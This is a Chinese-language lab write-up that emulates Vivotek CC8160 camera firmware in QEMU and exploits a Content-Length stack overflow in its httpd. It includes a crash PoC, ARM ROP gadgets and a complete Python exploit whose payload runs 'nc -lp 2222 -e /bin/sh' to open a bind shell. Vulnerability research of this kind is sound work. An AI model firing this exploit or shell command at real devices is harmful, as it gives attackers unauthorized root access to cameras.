Contents
  1. 1. 环境修复
    1. 1.1. user-mod
    2. 1.2. sys-mod
  2. 2. 漏洞分析
    1. 2.1. poc
    2. 2.2. exp

固件影响版本:太多了,以CC8160 为例

固件下载地址:https://github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip

环境修复

固件解包不多说,查看一下漏洞文件

1
2
3
4
5
6
7
8
9
$ file ./usr/sbin/httpd
./usr/sbin/httpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
$ checksec ./usr/sbin/httpd
[*]
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)

user-mod

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
$ cp $(which qemu-arm-static ) ./
$ sudo chroot . ./qemu-arm-static ./usr/sbin/httpd
[14/Apr/2021:13:50:39 +0000] src/boa.c:284 (main) - can't open /dev/null: No such file or directory
# 解决:
$ touch ./dev/null

$ sudo chroot . ./qemu-arm-static ./usr/sbin/httpd
sendto() error 2
Could not open boa.conf for reading.
# 有这个文件吗?在主目录下也没有找到这个boa.conf文件。进入ida查看,其实是要打开/etc/conf.d/boa/boa.conf,但是
$ ll ./etc/conf.d
lrwxrwxrwx 1 kk kk 23 Dec 6 2016 ./etc/conf.d -> ../mnt/flash/etc/conf.d
# 但是并没有这个../mnt等文件
# 最终在_31...目录下找到了boa.conf,在./defconf/_CC8160.tar.bz2.extracted/_0.extracted/etc/conf.d/boa/boa.conf
# 新建一下文件夹再粘贴,我还把相对路径给理解错了,这里mnt和etc是同一级的
$ cp -r ../../defconf/_CC8160.tar.bz2.extracted/_0.extracted/etc/conf.d ./mnt/flash/etc/conf.d

$ sudo chroot . ./qemu-arm-static ./usr/sbin/httpd
sendto() error 2
[debug]add server push uri 3 video3.mjpg
[debug]add server push uri 4 video4.mjpg
gethostbyname:: Success
# 看见success,其实没跑起来,ida查看引用,是利用了gethostbyname()函数,返回rlimits结构体中通过主机名找到的ip地址
$ cat ./etc/hosts
127.0.0.1 Network-Camera localhost
$ hostname
ubuntu
# 修改为
$ cat ./etc/hosts
127.0.0.1 ubuntu localhost

# 再次运行,虽然有错误(AM_ParseConfigFile函数,不是很清楚),但是已经成功运行起来了
$ sudo chroot . ./qemu-arm-static ./usr/sbin/httpd
sendto() error 2
[debug]add server push uri 3 video3.mjpg
[debug]add server push uri 4 video4.mjpg
[debug] after ini, server_push_uri[0] is /video3.mjpg
[debug] after ini, server_push_uri[1] is /video4.mjpg
AM_ParseConfigFile failed
[15/Apr/2021:01:01:02 +0000] boa: server version 1.32.1.10(Boa/0.94.14rc21)
[15/Apr/2021:01:01:02 +0000] boa: starting server pid=3511, port 80
$ ps aux | grep httpd
root 3511 0.8 0.0 4240192 6216 pts/0 Sl 18:01 0:00 ./qemu-arm-static ./usr/sbin/httpd
kk 3514 0.0 0.0 14436 1068 pts/0 S+ 18:01 0:00 grep --color=auto httpd

sys-mod

  1. 额…我的磁盘有点儿问题
1
2
3
4
5
6
7
8
9
10
11
$ sudo guestmount -a debian_wheezy_armel_standard.qcow2 -m /dev/sda2 /mnt
$ sudo cp -rf ./squashfs-root /mnt/root/
$ sudo guestunmount /mnt
$ sudo tunctl -t tap0 -u `whoami`
$ sudo ifconfig tap0 192.168.65.1/24
$ sudo qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

root@debian-armel:~# ifconfig eth0 192.168.65.2/24
root@debian-armel:~# mount -t proc /proc ./squashfs-root/proc # 默认/dev和/proc在chroot的时候是不会挂载的,需要手动挂载。
root@debian-armel:~# mount -o bind /dev ./squashfs-root/dev
root@debian-armel:~# chroot ./squashfs-root /bin/sh
  1. 用这个
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    $ sudo tunctl -t tap0 -u `whoami`
    $ sudo ifconfig tap0 192.168.65.1/24
    $ qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

    ; 进入后使用ftp进行文件传输
    root@debian-armel:~# ifconfig eth0 192.168.65.2/24
    ; 传输完成后
    root@debian-armel:~# mount -t proc /proc ./squashfs-root/proc ; 默认/dev和/proc在chroot的时候是不会挂载的,需要手动挂载。
    root@debian-armel:~# mount -o bind /dev ./squashfs-root/dev
    root@debian-armel:~# chroot ./squashfs-root /bin/sh
    / # ls
    bin home qemu-arm-static tmpfs
    dev lib root usr
    drivers linuxrc sbin var
    etc mnt sys www
    gdbserver proc tmp
    ; 同上面usermod,修改一下hostname就可以跑起来了
    / # ./usr/sbin/httpd
    sendto() error 2
    [debug]add server push uri 3 video3.mjpg
    [debug]add server push uri 4 video4.mjpg
    [debug] after ini, server_push_uri[0] is /video3.mjpg
    [debug] after ini, server_push_uri[1] is /video4.mjpg
    AM_ParseConfigFile failed
    [15/Apr/2021:05:49:21 +0000] boa: server version 1.32.1.10(Boa/0.94.14rc21)
    [15/Apr/2021:05:49:21 +0000] boa: starting server pid=2400, port 80
    / # ps T | grep httpd
    2400 root 1336 S ./usr/sbin/httpd
    2406 root 1368 S grep httpd
    / # ./gdbserver --attach 192.168.65.2:1234 $(ps|grep upnpd|grep -v grep|awk '{print $1}') ;远程调试

漏洞分析

漏洞位于/usr/sbin/httpd中的sub_17F80,是由于Content-Length引起的溢出

  • strncpy()用来复制字符串的前n个字符,其原型为:
    char * strncpy(char *dest, const char *src, size_t n);

    【参数说明】dest 为目标字符串指针,src 为源字符串指针。

    strncpy()会将字符串src前n个字符拷贝到字符串dest。

    不像strcpy(),strncpy()不会向dest追加结束标记’\0’,这就引发了很多不合常理的问题,将在下面的示例中说明。

    注意:src 和 dest 所指的内存区域不能重叠,且 dest 必须有足够的空间放置n个字符。

    【返回值】返回字符串dest。

  • strchr() 用来查找某字符在字符串中首次出现的位置,其原型为:
    char * strchr (const char *str, int c);

    【参数】str 为要查找的字符串,c 为要查找的字符。

    strchr() 将会找出 str 字符串中第一次出现的字符 c 的地址,然后将该地址返回。

    注意:字符串 str 的结束标志 NUL 也会被纳入检索范围,所以 str 的组后一个字符也可以被定位。

    【返回值】如果找到指定的字符则返回该字符所在地址,否则返回 NULL。

    返回的地址是字符串在内存中随机分配的地址再加上你所搜索的字符在字符串位置。设字符在字符串中首次出现的位置为 i,那么返回的地址可以理解为 str + i。

GET POST PUT DELETE的区别

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
#!usr/bin/python
from pwn import *
import requests

header = {
"Content-Length":"aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa"
}

url = "http://192.168.65.2" + "/cgi-bin/admin/upgrade.cgi"


session = requests.session()
session.post(url, headers=header)

可以测出偏移是0x33(额我和网上别人的偏移不一样呢)

栈溢出就利用ROP来做,关于arm以前也做过。所以就考虑将参数放入R0,目标函数system放到PC中

  1. 参数传递

    前4个参数通过R0 ~ R3传递,第4个参数需要通过sp访问,第5个参数需要sp+4访问,第n个参数需要通过sp + 4*(n-4)访问;当参数个数多于4个时,将多余的参数通过数据栈进行传递,入栈顺序与参数顺序正好相反,子程序返回前无需恢复R0~R3的值

  2. 在子程序中,使用R4~R11保存局部变量,若使用需要入栈保存,子程序返回前需要恢复这些寄存器;R12是临时寄存器,使用不需要保存

  3. 子程序返回32位的整数,使用R0返回;返回64位整数时,使用R0返回低位,R1返回高位

使用ROPgadget查找可用的ROP链,在httpd中地址都含有00,对于strncpy会截断无法使用,在libc中加上基址以后就好很多。

1
2
3
4
5
6
7
8
$ ROPgadget --binary ./lib/libuClibc-0.9.33.3-git.so --only "pop|mov"
Gadgets information
============================================================
...
0x00033100 : pop {r0, pc} # 这条是最简单的,但是由于地址存在00,会被截断,所以考虑先传入其他寄存器,再由其他寄存器传递给R0
0x00048784 : pop {r1, pc} # 先传递给R1,顺便将第二条gadget传给pc
0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc} # 第二条gadget,将R1传递给R0,再将栈中的内容依次传递给r4\r5\pc
...

虽然说这种设备一般都不会开启ASLR,但是这个debian默认开启的,对我们调试程序很不友好,先关掉

1
/ # echo 0 > /proc/sys/kernel/randomize_va_space

所以查看libc基址可以使用gdb中的vmmap或在debian虚拟机中使用cat /proc/xxxx[进程号]/maps查看

综上,构造payload为"a"*offset+p32(rop1)+p32(r0->cmd_addr)+p32(rop2)+p32(r4_content)+p32(r5_content)+p32(sys_addr)+cmd

这个cmd字符串可以先随便写,然后到栈中查找这个字符串就可以得到地址(实际地址需要将查到的地址再-1)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!usr/bin/python
from pwn import *
import requests

libc_base = 0xb6f2d000
libc = ELF("./lib/libuClibc-0.9.33.3-git.so")
sys_addr = libc_base + libc.sym['system']
rop1 = libc_base + 0x00048784 # pop {r1, pc}
rop2 = libc_base + 0x00016aa4 # mov r0, r1 ; pop {r4, r5, pc}
success("sys_addr = "+hex(sys_addr))
success("rop1 = "+hex(rop1))
success("rop2 = "+hex(rop2))
cmd = "nc -lp 2222 -e /bin/sh;"
cmd_addr = 0xbeffeb64

header = {
"Content-Length":"a"*0x33 + p32(rop1) + p32(cmd_addr) + p32(rop2) + "a"*4 + "b"*4 + p32(sys_addr) + cmd
}

url = "http://192.168.65.2" + "/cgi-bin/admin/upgrade.cgi"


session = requests.session()
session.post(url, headers=header)

Reference:

https://xz.aliyun.com/t/5054#toc-0